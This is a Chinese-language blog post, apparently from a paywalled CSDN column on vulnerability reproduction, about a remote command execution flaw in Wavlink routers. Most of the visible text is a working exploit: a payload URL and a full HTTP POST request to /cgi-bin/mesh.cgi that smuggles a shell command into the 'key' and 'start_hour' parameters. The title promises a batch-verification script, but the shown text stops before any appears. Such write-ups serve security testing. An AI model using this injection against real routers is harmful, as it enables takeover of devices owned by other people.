Wavlink路由器远程命令执行漏洞（含批量验证poc）

今天晚上早睡觉

已于 2024-04-04 20:55:35 修改

阅读量54

点赞数

分类专栏：漏洞复现文章标签： web安全

于 2024-04-04 20:55:19 首次发布

本文链接：https://blog.csdn.net/weixin_43567873/article/details/137382279

版权

漏洞复现专栏收录该内容

361 篇文章 141 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文详细介绍了Wavlink路由器存在的远程命令执行漏洞，包括漏洞描述、复现步骤、POC验证及修复建议。攻击者能够利用该漏洞执行任意命令，威胁设备安全。

摘要由CSDN通过智能技术生成

0x01漏洞描述

睿因科技Wavlink路由器存在远程命令执行漏洞，通过此漏洞攻击者可执行任意命令，如写入木马文件，远程控制路由器。

0x02漏洞复现

（1）payload利用地址：

/cgi-bin/mesh.cgi?page=upgrade&key=%27;echo+1234+%3Ett.txt'

（2）命令执行POC（/cgi-bin/xxx.txt）：

POST /cgi-bin/mesh.cgi?page=upgrade&key=%27;echo+1234+%3Ett.txt' HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

page=night_led&start_hour=;echo+1234+>tt.txt;

了解本专栏